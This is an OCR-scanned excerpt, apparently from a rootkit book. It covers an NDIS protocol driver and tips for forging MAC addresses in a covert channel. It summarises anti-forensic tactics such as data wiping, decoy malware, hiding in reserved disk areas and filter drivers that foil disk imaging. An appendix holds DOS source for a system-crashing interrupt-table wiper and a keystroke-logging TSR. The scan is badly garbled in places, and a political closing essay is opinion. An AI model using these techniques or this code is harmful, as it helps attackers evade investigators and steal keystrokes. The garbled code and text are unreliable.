When the user-mode client requests to send or receive data, the NdisprotRead () and NdisprotWri te () dispatch routines come into play. A request to read data, by way of the NdisprotRead () dispatch routine, will cause the driver to copy network packet data into the buffer of the client's IRP and then complete the IRP. A request to write data, by way of the NdisprotWri te () dispatch routine, will cause the driver to allocate storage for the data contained in the client's IRP and then call NdisSendNet BufferLists () to send the allocated data over the network. If the send operation is a success, the driver will complete the IRP. The rest of the client's requests are handled by the NdisprotIoControlO routine, which delegates work to different subroutines based on the I/O control code that the client specifies. Three of these subroutines are particularly interesting. The NdisprotQueryBinding() function is used to determine which network adapters that the driver is bound to. The NdisprotQuery OidValue () subroutine is used to determine the MAC address of the adapter that the protocol driver is bound to. Presumably, the MAC address could be manually reconfigured via a call to NdisprotSetOidValue() . The client
650
Port III
doesn't use the latter functionality; it only queries the driver for the current value of the adapter's MAC address.
> Note:
The author of the Ndisprot. sys driver has tried to avoid confusion by using lowercase for his own application-specific Ndisprotxxx() utility functions .
In order to service requests from the NDIS library, the DriverEntry() routine invokes a WDK function named NdisRegisterProtocolDriver() that registers a series of Protocolxxx() callbacks with NDIS. The addresses of these functions are copied into a structure of type NDIS]ROTOCOL_DRIVER_ CHARACTERISTICS that's fed to the protocol registration routine as an input parameter. The names that these routines are given by the WDK documentation and the names used in this driver are listed in Table 11-6. This should help to avoid potential confusion while you're reading the NDIS documents that ship with the WDK. The resources that were allocated by the call to NdisRegisterProtocolDriver() must be released with a call to NdisDeregisterProtocolDriver(). This takes place in the driver's DriverUnload() routine, right after the driver deletes its device and symbolic link. Note that the invocation of NdisDeregisterProtocolDriver() is wrapped by another function named NdisprotDoProtocolUnload().
Tobie 11-6
Nome In WDK Do(Umentolion Nome In Driver Source Source File
ProtocolSetOptions ProtocolUninstall ProtocolBindAdapterEx ProtocolUnbindAdapterEx ProtocolOpenAdapterCompleteEx ProtocolCloseAdapterCompleteEx ProtocolNetPnPEvent ProtocolOidRequestComplete ProtocolStatusEx ProtocolReceiveNetBufferLists ProtocolSendNetBufferListsComplete
-Not Implemented-Not ImplementedNdisprotBindAdapter NdisprotUnbindAdapter NdisprotOpenAdapterComplete NdisprotCloseAdapterComplete NdisprotPnPEventHandler NdisprotRequestComplete NdisprotStatus NdisprotReceiveNetBufferLists NdisprotSendComplete
Pa rt III 1651
--+
---+
NdisOpenAdapterEx()
I0I)l(
,.--__
API
NdisprotOpenAdapterCoonplete () ProtocolXXX()
NDIS_STATUS_PENDING
I
.
NdisprotUnBindAdapter() _ ProtocolXXX()
=:;I )
.
Figure 11 16
Likewise, the NdisprotUnbindAdapter() function is called by the NDIS library when it wants the protocol driver to close its binding with an adapter. In the case of this driver, this routine ends up calling the NdisprotShutdownBinding() function to do its dirty work. This function, in turn, ends up calling the WDK's NdisCloseAdapterEx() routine to release the driver's connection to the adapter. If the invocation of NdisCloseAdapterEx() returns the NDIS_STATUS_PENDING status code, the NDIS library will invoke the NdisprotCloseAdapterComp1ete() routine to complete the unbinding operation. According to the most recent specification, the NdisprotPnPEventHand1er() routine is intended to handle a variety of events (e.g., network Plug and Play, NDIS Plug and Play, power management). As you would expect, these events are passed to the driver by the NDIS library, which intercepts PnP and power management IRPs issued by the OS to devices that represent an NIC. How these events are handled depend upon each individual driver. In the case of ndisprot. sys, the following events are processed with nontrivial implementations: NetEventSetPower NetEventBindsComp1ete NetEventPause Net Event Restart Represents a request to switch the NIC to a specific power state Signals that a protocol driver has bound to all of its NICs Represents a request for the driver to enter the pausing state Represents a request for the driver to enter the restarting state
The NdisOidRequest () function is used by protocol drivers to both query and set the OlD parameters of an adapter. If this call returns the value NDIS_STATUS_PENDING, indicating that the request is being handled in an asynchronous manner, the NDIS library will call the corresponding driver's ProtocolOidRequestComp1ete() routine when the request is completed. In our case, the NIDIS library will call NdisprotRequestComp1ete(). The NdisOidRequest() function comes into play when a user-mode client issues a command to query or set OlD parameters via DeviceloContro1 () (see Figure 11-17). Regardless of whether the intent is to query or set an OlD parameter, both cases end up calling the driver's ndisprotDoRequest() routine, which is a wrapper for NdisOidRequest (). This is one case where a Protoco1xxx() routine can be called as a direct result of a user-mode request.
nd1sprotQUery01dVdue()
driver-specific
~
""""-
nd1sprotSetOidValue() --......
dri.... r-.pocific
ndisprotDoRequest()
driver-specific
Nd1sprotRequestcOllplete( )
Protocolxxx( )
Nd1SOidRequestO
_API
l
NDISUbrary
Underlying Driver
Figure 11-17
The NDIS library invokes the NdisprotStatus () routine to notify the protocol driver about status changes in the underlying driver stack_ For example, if someone yanks out the network cable from the machine or a peripheral wireless device in the machine comes within range of an access point, these will end up as status changes that are routed to the protocol driver. The implementation of this routine in the case of ndisprot. sys doesn't do much other than update flags in the current binding context to reflect the corresponding changes in state. The remaining two Protocolxxx() routines, NdisprotSendComplete() and NdisprotRecei veNetBufferLists ( ), are involved in the sending and receiving of data. For example, when the user-mode client makes a request to send data via a call to WriteFile() , the driver receives the corresponding IRP and delegates the work to NdisprotWrite( ).lnside this routine, the driver packages up the data it wants to send into the format required by the NDIS specification, which happens to be a linked list of NET_BUFFER_LIST structures. Next, the driver calls NdisSendNetBufferLists (), a routine implemented by the NDIS library, to send this data to the underlying driver. When the underlying driver is ready to return ownership ofthe NET_BUFFER_ LIST structures back to the protocol driver, the NDIS library invokes the NdisprotSendComplete() callback.
IRP III WRITE _
-
NdisprotWrite() _
driver-specific
Nd1sSendNetBufferListsO
"'* API
-----..,
NDISUbrary
NdisprotSendCOIIplete() _---~
ProtocolxxxO
Underlying Driver
Figure 11 -18
Receiving data is a little more involved, with regard to implementation, partially because it's an event that the driver doesn't have as much control over. When the adapter has received data it notifies the protocol driver via the NDIS library, which invokes the callback routine that the driver has registered to service this signal (i.e., NdisprotRecei veNetBufferLists ( This callback will either acquire ownership of associate NET_BUFFER_LIST structures, or make a copy of the incoming data if the underlying driver is low on resources. Either way, the protocol driver now has data that is waiting to be read. This data basically hangs around until it gets read.
When the user-mode client makes a request to read this data via a call to ReadFile(), the driver receives the corresponding IRP and delegates the work to NdisprotRead ( ). Inside this routine, the driver copies the read data into the client's buffer and completes the IRP_MJ_READ IRP. Then it calls the ndisprotFreeReceiveNetBufferList() routine, which frees up all the resources that were acquired to read the incoming NET_BUFFER_LIST structures. If ownership of these structures was assumed, then this routine will relinquish ownership back to the underlying driver by calling the NdisReturnNetBufferLists () function (see Figure 11-19).
NOIS library
NdisprotReceiVeNetBufferLists() _ _ _ __
ProtocolxxxO
Underlying Driver
NdisReturnNetBufferL1sts()
_API
nd1sprotFreeRece1VeNetBufferList()
driver-specific
r 1
IRP_HJ_REAO _ _ _ _ Nd1sprotReadO _
driver specific
ndisprotserviCeReadsO
driver-specific
Figure 11-19
By now you should have an appreciation for just how involved an NDIS 6.0 protocol driver can be. It's as if several layers of abstraction have all been piled on top of each other until it gets to the point where you're not sure what you're dealing with anymore. To an extent this is a necessary evil, given that protocol drivers need to be flexible enough to interact with a wide variety of
Port III
1655
adapter drivers. Abstraction and ambiguity are different sides of the same coin. Hopefully my short tour of the WDK sample protocol driver will help ease the pain as you climb the learning curve yourself. I know that some readers may dislike my approach, wishing that I'd simply get on with telling them how to implement a protocol driver. There is, however, a method to my madness. By demonstrating how things work with the WDK's sample code, I'm hoping to give you a frame of reference from which to interpret the different callback routines and IRPs. This way you'll understand why things are done the way that they are rather than just mindlessly following a recipe.
Missing Features
One limitation built into Microsoft's sample protocol driver is the inability to forge the source MAC address on outgoing packets. This restriction is impledis mented using three to four lines of code in the driver's N protWrite() function. To locate this code, just search for the string "Write: Failing with invalid Source address." Removing the corresponding code snippet should do the trick. Another thing you may have noticed is that there's no mention ofIP addresses in the source code of the sample driver. Hosts are identified only by MAC address because the driver is generating bare Ethernet frames. As a result, the driver can't talk to anyone beyond the LAN because a router wouldn't know where to send the packets (MAC addresses are typically relevant only to the immediate network segment, they're not routable). However, because an NDIS protocol driver can dictate the contents of the packets that it emits, augmenting the driver to utilize IP addresses is entirely feasible. If you wanted to, you could set up your protocol driver to emulate a new host by configuring it to use both a new IP address and a new MAC address. Anyone monitoring network traffic might be tempted to think that the traffic is originating from a physically distinct machine (given that most hosts are assigned a unique IPIMAC address pair). While this might help to conceal the origin of your covert channel, this technique can also backfire if the compromised host is connected to a switch that allows only a single MAC address per port (or, even worse, if the switch allows only a specific MAC address on each of its ports). If you decide to augment the protocol driver so that it can manage IP traffic, and if you're interested in emulating a new host, one thing you should be
656
Po rt III
aware of is that you'll need to implement the address resolution protocol (ARP). ARP is the standard way in which IP addresses are mapped to MAC addresses. If a host wants to determine the MAC address corresponding to some IP address, it will broadcast an ARP request packet. This packet contains the host's MAC/IP address pair and the IP address of the destination. Each host on the current broadcast domain (e.g., the LAN) receives this request. The host that has been assigned the destination IP address will respond to the originating host with an ARP reply packet that indicates its MAC address.
If your protocol driver doesn't implement ARP, then it can't respond to ARP broadcasts and no one else on the network (routers in particular) will even know that your IP/MAC address pair exists. Local TCP/IP traffic on the LAN will not be able to find your protocol driver nor will external traffic from the WAN be routed to it. If you want to receive incoming traffic, you'll need to make your IP address known and be able to specify its MAC address to other hosts on the LAN. This means implementing ARP. To optimize the versatility of your protocol driver, you could go beyond just ARP and implement a full-blown TCP/IP stack. To this end, TCP/IP mustrated, Volume 2, by Gary Wright and Richard Stevens, is a good place to start.
Chapter 12
81181111, 81181111, 81118100, 81181811, 81181001, 81118100, 81110011, 001_, 81000011, 81001800, 0011800100110018
Countermeasure Summary
Over the past seven chapters we've looked at ways to minimize the likelihood that our presence on a machine is detected. Now we're going to pull it all together to see how the various forensic and anti-forensic techniques fit in the grand scheme of things. The primary tools that our opponents have at their disposal are displayed in Figure 12-1. Typically an investigation will begin with a live incident response, where both volatile and nonvolatile machine parameters are collected. Particularly determined investigators may go beyond recording the standard run-time values and acquire a snapshot of the system's memory. They might also perform an external network scan to identify hidden ports.
~
Software aasad
f
live Incld.nt R.spon H
~ RAM Acquisition
"'--
Hardw... B...d
~ ColloctVolatll.Oa..
\.
~
Disk Analysis
~ Ext.rnalPortSun
ColI.ct Non-yolatil.O.ta
" - - liy.
~isk
Imaeine
"._ _ _
_--ort
~
Network Traffic: Analysis
Binary FiteAn.lsysis
Figure 12-1
In the event that the machine being inspected can't be powered down, investigators may decide to create duplicates of the machine's hard drives while
659
it's still running. Granted, live images like this aren't the most forensically sound artifacts, but they're better than nothing. Otherwise, the machine will be shut down in order to perform a full-blown post-mortem disk analysis, where the file system on each drive will be examined and screened for suspicious executables offline. A high-security installation may also have a dedicated monitoring station attached to the nearest switch that captures the network packets traveling to and from high-value systems. This way, even if a machine has been compromised and is hiding the attacker's connections, all of the network conversations that it has participated in can be examined. Live incident response, disk analysis, and network traffic analysis; for each of these procedures there are countermeasures that we can employ to stay under the radar (or at least adjust the odds in our favor). Each countermeasure we looked at over the course of the past seven chapters is an instance of one or more of the following five principles:
Data destruction Data hiding Data transformation Data contraception Data fabrication
660
Part III
If an investigator decides to go the extra mile and capture a snapshot of memory, the rootkit still holds the high ground. Software-based tools can be undermined by patching the system calls that they rely on, or by modifying the bookkeeping code that manages memory access at the hardware level. Hardware-based tools can be subverted by tweaking motherboard components (like the northbridge) that peripheral devices must traverse in order to access memory.
Patch MBR
~
(
~
.
'
+.
('
livelneident Response
softwar;';ased
.......................... Custom Pac- Fault Handler
~
Figure 12-2
Live Di sk Imaclnc
An external network scan can be an effective tool to detect hidden ports. The caveat, however, is that this approach really only works if the attacker's
rootkit is bound to a port that's listening for incoming connections. A rootkit that's generating short bursts of outgoing traffic using random ports will be much more difficult to spot. Though tool vendors like Technology Pathways prefer to downplay the possibility (for obvious reasons), it's been irrefutably proven, with packages like DDefy, that live disk imaging can be foiled. The tool of choice in this case is a filter driver, which intercepts data being read from disk and mask sectors containing a rootkit.
lf you must use drive storage, there are steps you can take to make things difficult for the forensic analyst (see Figure 12-3). For example, low-budget tools may neglect to examine the reserved areas of a hard disk, allowing an attacker to evade a forensic duplication by hiding in an HPA or a DCO. If an investigator attempts to recover deleted files in a bid to hunt for clues, the attacker can obstruct by destroying sensitive data and corresponding metadata in the file system so that the recovery process doesn't yield anything of value .
...............
File System An31ysis
! . .. \.
..
.:
.....
....
...-{
: :
....
Flood the system with files Out-oF-band hid,ne ISl8egr) In-band hid,nc (FISTin,) Application layerhidtnc (r.C15t ryhives)
\ . File Sjtnatur;:naIY, j,
Armorinc
Figure 12-3
662
Pa rt III
An intruder can also modify file timestamps to sow confusion and alter checksums to lead the investigator astray. A truly Machiavellian approach would be to plant a couple of known bad files (a low-grade virus that can be easily quarantined) so that the analyst prematurely concludes the inquiry after locating what he assumes is the target of the investigation. A variation of this theme is to flood the system with foreign binaries to keep the analyst busy chasing his tail, and then hide the rootkit using a FISTing tactic of some sort. Yet another scheme would be to replace a core system binary entirely and replace it with a modified version whose checksum has been set to match that of the original file . If a forensic analyst actually succeeds in acquiring a rootkit binary, measures like armoring, data fabrication, and code morphing can be implemented in tandem to make it extremely difficult for the analyst to glean anything useful. The basic idea here is to make the file look like it belongs to a value-added OEM toolkit or a system update of some sort so that the investigator concludes that it doesn't represent a threat. Careful staging is the key.
firewalls and careful logging, you may need the additional protection of a kernel-mode implementation (see Figure 12-4).
Network Traffic Analysis
Covert Channels
\.
Figure 124
"_M~.
Windows Sockets 2
procedures to flush the intruder out into the open. If a rootkit is to survive this sort of auditing, then it will need to institute anti-forensic measures. In the end, anti-forensics techniques are all about concealment and can be seen as an extension of conventional rootkit tactics.
Po rt III
I 665
667
Chapter 13
91191111, 91191111, 91119100, 91191911, 91191001, 91119100, 91110011, 001_, 91000011, 91OO100e, oo1100elOO11oo11
669
Multi-ring privilege models have been around for ages (and will continue to be in the foreseeable future) . Though the IA-32 family supports four privilege levels, back in the early 1970s the Honeywell 6180 CPU supported eight rings of memory protection under Multics (Multiplexed Information and Computing Service). Regardless of how many rings a particular processor can utilize, the deeper a rootkit can embed itself the safer it is. Once a rootkit has maximized its privilege level, it can attack security software that is often running at lower privilege levels, much like castle guards in the Middle Ages who poured boiling oil down on their enemies. Assuming that both the attacker and defender have access to Ring 0 privileges, one way to gain the upper hand is to load first. This concept was illustrated during the discussion of bootkits. By executing during system startup, a bootkit is in a position where it can capture system components as they load into memory, altering them just before they execute. In this fashion, a bootkit can disable the integrity checking and other security features that would normally hinder infiltration into the kernel.
Development Mindset
The desire to gain the high ground logically leads to developing code that will execute in the kernel. Given that the kernel's execution environment is nowhere near as forgiving as that afforded to user-mode applications, it's wise to code defensively. This is no place for the reckless abandon of cowboy-style software engineering. Neatness counts. Special emphasis should be placed on preventing, detecting, reporting, and correcting potential problems. All it takes is one bad pointer or typecast error to bring everything crashing down. Expect things to progress gradually. Be meticulous. Start with small victories and then build on them. Go ahead and take the time to build scaffolding code and create unit tests. Research and employ design patterns if you feel this helps. For large projects, consider using an object-oriented approach to help manage complexity. These tools will yield dividends later on when they save you from hunting down bugs at run time with a kernel debugger.
670 I Port IV
and the program flow conventions that it uses (e.g., building a stack frame, setting up a system call, handling exceptions, etc.). Reversing assembly code is like reading music. With enough experience you can grasp the song that the individual notes form. Another domain in which you should accumulate knowledge is with the target platform's executable file format. Specifications exist for most binaries even if the exact details of how they're loaded is undisclosed. Understanding the native executable format will offer insight into how the different components of an application are related and potentially give you enough information to successfully patch its memory image. Taking the time to become familiar with the tools that allow you to examine and modify the composition of an executable is also a worthwhile endeavor. Utilities like dumpbin. exe are an effective way to perform the first cut of the reverse engineering process by telling you what a specific binary imports and exports.
Part IV 1671
II
672 1 Port IV
As with system code, don't forget to be wary of synchronization. Also, though you may be able to alter or remove data structures with abandon, it's not a good idea to dynamically "grow" pre-existing kernel data structures. Working in the address space of the kernel is like being a deep sea scuba diver. Even with a high-powered flashlight, the water is cloudy and teaming with stuff that you can't necessarily see. If you extend out beyond the edge of a given kernel object in search of extra space, you may end up overwriting something that's already there and crash the system.
Port IV 1673
User Application
User Application
Figure 13-1
Virtual Machine User Application
User Application
User Application
Windows Subsystem
Drivers
I
Rootk,!
Hardware
Figure 13-2
This is exactly the approach taken by the Blue Pill Project, a cutting-edge rootkit proof-of-concept developed by Joanna Rutkowska, Alexander Tereshkin, and Rong Fan. l Other projects, like Dino Dai Zovi's Vitriol rootkit and the Sub Virt rootkit, have also experimented with this basic idea. One significant drawback of this strategy is that it currently requires special hardware support that has yet to become a mainstream technology. Hyper-V, Microsoft's hypervisor-based virtualization platform, runs only on 64-bit processors with hardware-assisted virtualization features (i.e., Intel VT or
AMD-V).
1 http://bluepillproject orgl
674
Po rt IV
Matt Pietrek, "An In-Depth Look into the Win32 Portable Executable File Format, " MSDN
ParI IV 1675
Yet another example of this principle in action would be to embed an encrypted file system within an encrypted file system. If the forensic investigators are somehow able crack the outer file system, they'll probably stop there with the assumption that they've broken the case. You might want to litter the outer encrypted file system with an assortment of faux artifacts to encourage this misconception. What this strategy underscores is that most system administrators are operating on a budget. Once more, some are just flat out overworked or lazy. If you put enough obstacles in their way, they may be more tempted to move on to more pressing concerns than to follow up with an investigation. In the best-case scenario, they'll assume that what they're observing is merely noise that lies within the range of normal system behavior, or perhaps a false positive, and then go on about their business.
676 I Port IV
Chapter 14
01101111, 01101111, 01110100, 01101011, 01101001, 01110100, 01110011, 00100000, 01000011, 01001000, 0011000100110100
Closing Thoughts
"Pay no attention to the man behind the curtain,"
- The Wizard of Oz
Over the years I've read my fair share of technical books. One thing that I've noticed is that they all tend to end rather abruptly. It's as if the authors are saying, "Okay, folks, that's all. Nothing left to see here, move along please." If you've read this book from cover to cover, you've come a long way and the least I can do is offer my thanks and a few parting words.
If this book has done anything, it's demonstrated that it's entirely feasible for a seemingly innocuous little program (less than 500 KB in size) to silently undermine a system whose scale is on the order of gigabytes, millions of times larger than the rootkit itself. During the course of the past 13 chapters I've explained how a rootkit can embed itself deep inside the system's infrastructure and then leverage its access to manipulate a handful of key constructs. The end result of this subtle manipulation is that the rootkit becomes an unseen hand. It intercepts sensitive information and controls what happens while staying hidden in the background; just like those black clad stage handlers in a Kabuki theatre production who lurk in the shadows and quietly arrange the surroundings. All it takes is the right kind of access and a detailed understanding of how things work.
Stepping back from the trees to view the forest, one might be led to wonder if something similar has already taken place in the body politic of the United States. Does this metaphor carry over into the greater scheme of things? In other words, has our society been rooted? Has the infrastructure silently been undermined by a relatively small group of people who've acquired the access necessary to manipulate key institutions and implement their own agenda? No doubt this notion may be dismissed as a daydream, a sweet-sounding myth cooked up by conspiracy theorists who are desperately seeking someone to blame for their own failures in life and to assuage their subconscious
677
feelings of inadequacy. ot to mention that, for thousands of years, humans have displayed an almost pathological need to impose a sense of logic and coherence to the haphazard events of the world around them. "Pay no heed to the man behind the curtain," say the critics, "it's just your mind playing tricks on you ." To this sort of cavalier response, I would counter that the United States has seen its share of widespread and far-reaching conspiracies. People who doubt this would be well advised to study the history of the Klu Klux Klan; research the 1953 Iranian coup d'etat that deposed the democratically-elected government of Prime Minister Mohammed Mosaddeq; or perhaps look into Operation Gladio, the clandestine NATO "stay-behind" operation in Italy after WWll. Labeling an idea as a conspiracy theory is just a rhetorical cheap shot more than anything else. It doesn't necessarily imply that an explanation is without merit. Indeed, history shows that the tools of control and subversion have been artfully employed in the past by a relatively small set of individuals, and that their machinations had a tremendous impact on the world around them. During the Vietnam War, the general impression that the White House fed to the American public was that the situation in Vietnam was looking up, and that we would soon prevail. Success was "just around the corner." Then, in 1971, an analyst at the RAND Corporation named Daniel Elisberg leaked a 47-volume study to the New York Times that became known as the "Pentagon Papers." This top-secret study, which was commissioned by Secretary of Defense Robert McNamara, examined U.S. involvement in Vietnam from 1945-1967. The Pentagon Papers revealed that, despite their optimisticsounding public relations campaign, the people in charge knew that the United States was not likely to succeed. Yet at the same time they continued to send troops over, escalate our military commitment, and tell us that things were rosy. The end result was untold death and destruction. In the days before the invasion of Iraq, White House officials made all sorts of public revelations about Iraq's reputed weapons of mass destruction and the country's alleged connections with Al-Qaeda. The basic train of reasoning being that Iraq might give their WMDs to Al-Qaeda and point them in the general direction of the United States. George Tenet, then head of the CIA, claimed that the case for WMDs in Iraq was a "slam dunk." The American public also saw Secretary of State Colin Powell get up in front of the UN Security Council and present a sinister looking computer-generated view of a mobile production facility for biological weapons (see Figure 14-1).
678
Port IV
Figure 14-1
Fast forward to 2008; the slam dunk was a joke. It's been determined that most, if not all , of these stories were based on fabricated intelligence provided by con artists like Ahmed Chalabi and Rafid Ahmed Alwan (aka Curveball). With the damage done, and the country's basic services decimated, it's too late to go back. Thus, there's no harm in letting the tr uth come to light. As the former Chair of the Federal Reserve Alan Greenspan noted, "I am saddened that it is politically inconvenient to acknowledge what everyone knows: The Iraq war is largely about oil." A retired intelligence operative that I once spoke with admonished that "our government needs to be able to keep secrets." To an extent this may be true, but not if it's using them to undermine the democratic process, conceal misconduct, and hinder legislative oversight. To protect yourself against this kind of deception, you'll need to adopt the mindset of a forensic analyst. Specifically, you s hould verify what you're told, and discover new ways to do so. Recall in Chapter 5, where I described how to parse the PEB by going outside the established channels and walking directly through memory. This is the sort of thing you'll need to do. Cross-view detection isn't limited to the domain of computer forensics. In fact, it's used by intell igence agencies the world over to help "sanitize" the information that they collect. Don't trust what the mass media feeds you; they've been bought and paid for by their corporate sponsors. Read the news from other countries, utilize the Internet, search out primary sources, and
Part IV 1679
think critically. As in the case of computer-based rootkits, once you understand the techniques that are used to manipulate what you're seeing, you can follow the corresponding telltale clues back to the source. Fortunately, there are still programs like FRONTLINE and investigators like Bill Moyers who offer the sort of in-depth analysis that a lO-minute news piece on the evening news cannot. This is one reason why I encourage people to support PBS. If you have the time, I'd strongly suggest that you check out the material provided in the following URLs:
If you have both the time and the necessary money, I would urge you to help PBS by purchasing the DVDs of these programs.
680
Part IV
Appendix
681
Appendix
hapter 2
Proied: KillDOS
Files: IDOS.c
/*, III I 1111+++++++++++++++++++11 I I I I 1111+++++++++++++++++++++++++++++++++++++++ + + + KOOS . C +
#include<stdio.h > #define I<.QRD unsigned short #define IDT_e01_ADDR #define IDT_255_ADDR #define IDT_VECTOR_SZ #define BP 0 1020 4 / /start address of first IVT vector / /start address of last IVT vector / /size of each IVT Vector (in bytes) // break point
void mainO { I<.QRD csAddr; I<.QRD ipAddr; short address; I<.QRD vector ; char dummy; vector = 0x0;
/ / Code segment of given interrupt / /Starting IP for given interrupt / /address in memory (0-1020) // IVT entry ID (Le. , 0 .. 255) //strictly to help pause program execution
printf(" \ n-- -Dumping IVT from bottom up ---\n"); printf( "Vector\tAddress\ t\n"); for
(
address=IDT_e01_ADDR; address<=IDT_255_ADDR; address=address+IDT_VECTOR_SZ,vector++ printf("%e3d\t%e8p\ t", vector , address); / / IVT starts at bottom of memory, so CS is always 0x0
PUSH ES
683
Appendix
I C hapter 2
rov rov
AX,e ES,AX BX, address AX, ES: [BX] ipAddr ,AX BX BX AX, ES: [BX] csAddr, AX ES
printf("press [ENTER] key to continue:"); scanf( "%c " , &durrrny) ; printf(" \ n- --Overwrite IVT from top down- --\n");
/*
Program will die somewhere around ex4* Note: can get same results via 005 debug. exe -e corrrnand
*/
for
(
address ~ IDT_255_AlJOR;
address > ~IDT_ OOl_AlJOR;
printf( "Nulling %e3d\ t%eBp\n", vector, address); _asm PUSH ES AX,e ES,AX BX, address ES: [BX],AX INC BX INC BX rov ES: [ BX], AX POP ES
};
return;
} /*end main() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */
. Proied: HookTSR
Files: TSR.asm, HookTSR.c
+- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - --+
TSR.asm Description : Implements a TSR that handles two interrupts The first returns the location of a buffer The second hooks BIOS int ex9
684
Appendix
Project: HookTSR
; +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -+
CSEG SEGMENT BYTE PUBLIC ' COOE' ASSUME CS:CSEG, DS:CSEG, SS:CSEG ORG 100H ; This label defines the starting point ( s ee END s tateme nt )--- - -- - -------- - ---_here: JMP _main ; global data - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - JMP _ overData _ buffer DB 512 DUP('W ') _terminator DB 'z' _index OW 0H _ oldISR 00 0H _ chkISR 00 0H _over Data : ; ISR to return address of buffer ------------------------ - --- - --- - -- - - - -- ---- - -1letBufferAddr: STI MOV DX,CS LEA DI,_buffe r IRET ; ISR to hook BIOS int 0x9 --------------------------- --- -- --- -- - - - -- ----------_hookBIOS : PUSH BX PUSH AX PUSHF CALL CS :_oldISR MOV AH,01H PUSHF CALL CS:_chkISR CLI PUSH OS PUSH CS POP OS jz _hb_Exit LEA BX , _buffer PUSH 51 MOV 51, WORD PTR [_in dex) MOV BYTE PTR [BX+SI], AL INC 51 MOV WORD PTR [_ index], 51 POP 51 _ hb_ Exit: POP OS POP AX POP BX STI IRET ; INT 0x21, AH = 0x2S Set Inte rrupt Vector AL=interrupt; OS : DX=addres s of ISR ; INT 0x21, AH = 0x35 Get an Interrupt Vector far call to old BIOS routine
Appen di X
I 685
Appendix / Chapter 2
AL=interrupt ES: BX=address of ISR AH function code 31H (make resident) AL Return code OX Size of memory to set aside (in 16-byte paragraphs) 1 KB = 64 paragraph (ex4e paragraphs) Note: can verify install code via KDDS. exe install the TSR - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - _install : LEA DX,...&etBufferAddr ; set up first ISR (Vector 187 = eXBB) foYJV ex, es foYJV DS,ex foYJV AH,25H foYJV AL,187 INT 21H ; get address of existing BIDS ex9 interrupt
foYJV AH,35H foYJV AL,e9H
INT 21H
foYJV WORD PTR _oldISR[e], BX foYJV WORD PTR _0IdISR[2],ES
INT 21H
foYJV WORD PTR _ chkISR [e], BX foYJV WORD PTR _ chkISR [2], ES
; set up BIDS ISR hook LEA DX,_hookBIDS f'OV eX,es f'OV DS ,eX f'OV AH ,25H f'OV AL,e9H INT 21H RET
exBB)
; entry point - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -PUBLIC _main _main: PUSH BP set up stack foYJV BP, SP foYJV AX,eS foYJV SS,AX LEA AX, _localStk ADD AX,l00H _f'OV SP ,AX CALL NEAR PTR _install DDS maintains a pointer to the start of free memory in conventional memory Programs are loaded at this position When a program terminates, the pointer typically returns to its old value A TSR increments the pointer ' s value so that the TSR isn' t overwritten f'OV AH,31H foYJV AL , eli foYJV OX, 2eaH INT 21H ; make this program resident
686
Appendix
Project: HookTSR
pop BP
RET
; stack for . CO'1 program - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -PUBLIC _localStk _localStk DB 256 OUP(?) C5EG ENDS END _here
/*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+ + HookTSR. C +
+ + +
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/
#include<stdio. h> #include<stdlib. h> ('[ Data Types) ----- - - ---- - - ---- - - ----- ------ -- --- - - --- - - - --- - - - ----- ---- - - ---'I #define WORD unsigned s hort #define BYTE unsigned char (' [Program -Specific Definitions) - - - - --- - - ----- - ---- - ----- - ---- - - --- - - ---- - - --'I #define SZ_BUFFER #define NCOLS #define FILE_NAME #define MODE
513
16
((maximum s ize of log file buffer ([e) ... (512)) (( number of columns per row when printing to CRT (( name of log file ((open file in 'append' mode (( interrupt vector number
#define SZ_CONTROL_CHAR ex2e (/first 32 ASCII chars (e-31) are "control chars" #define LAST_ASCII ex7E (('-' (alphanumeric range from 32 to 126) ((the following array is used to represent control chars in the log file const char ' CONTROL_CHAR[SZ_CONTROL_CHAR) =
{
"[Null)", "[Start of Header)", "[Start of Text)", "[End of Text)", " [End of Transmission)" , "[Enquiry)", "[Acknowledgment)" , "[Bell)", "[Backspace)", "[Horizontal Tab)", "[Line feed)", "[Vertical Tab)", " [Form feed)", "[Carriage return)", "[Shift Out)", "[Shift In)", "[Data Link Escape)", "[Device Control 1)", "[Device Control 2)", "[Device Control 3)", "[Device Control 4)", "[Negative Acknowledgement)", " [Synchronous Idle) ",
A pen dI X p
I 687
Appendix / Chapter 2
"[End of Trans. Block]", "[Cancel]" , "[End of Medium]", " [ Substitute] " , "[Escape]", "[File Separator]", "[Group Separator]", " [Record Separator]", " [Unit Separator]" };
/* This is here for shits-and-giggles (i.e., experimental purposes) Verify 2 different tactics for obtaining the address of a function 1) First method uses C-based function pointer 2) Second uses inline assembly code
*/
void printProcAddr() { Io.ORD addr; void (*fp)(); fp = &printProcAddr;
/ / Both snippets print offset address of function printf("proc offset = %X\n",fp); printf("proc offset = %X\n",addr);
return; }/*end printProcAddr() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -* /
/*
This puts a keystroke into the buffer (which flushes to a file when full)
*/
void putInLogFile(BYTE* bptr,int size) { FILE *fptr; //pointer to log file int retVal; //used to check for errors int i; / /flush buffer to file fptr = fopen(FILE_NAME,1"OOE); if(fptr==NULL) { printf("putInFileBuffer() : cannot open log file\n"); return; for(i=0;i <size;i++ )
{
i f( (bptr[ i] >=SZ_CDNTROL_CHAR)&&(bptr[i] <= LAST_ASCII { retVal = fputc(bptr[iJ,fptr); if( retVal==EOF) { printf("putlnLogFile(): Error writing %c to log file\n",bptr[i]);
688
Appendix
Project: HookTSR
fputs(CDNTROL_CHAR[bptr[i]], fptr);
} else {
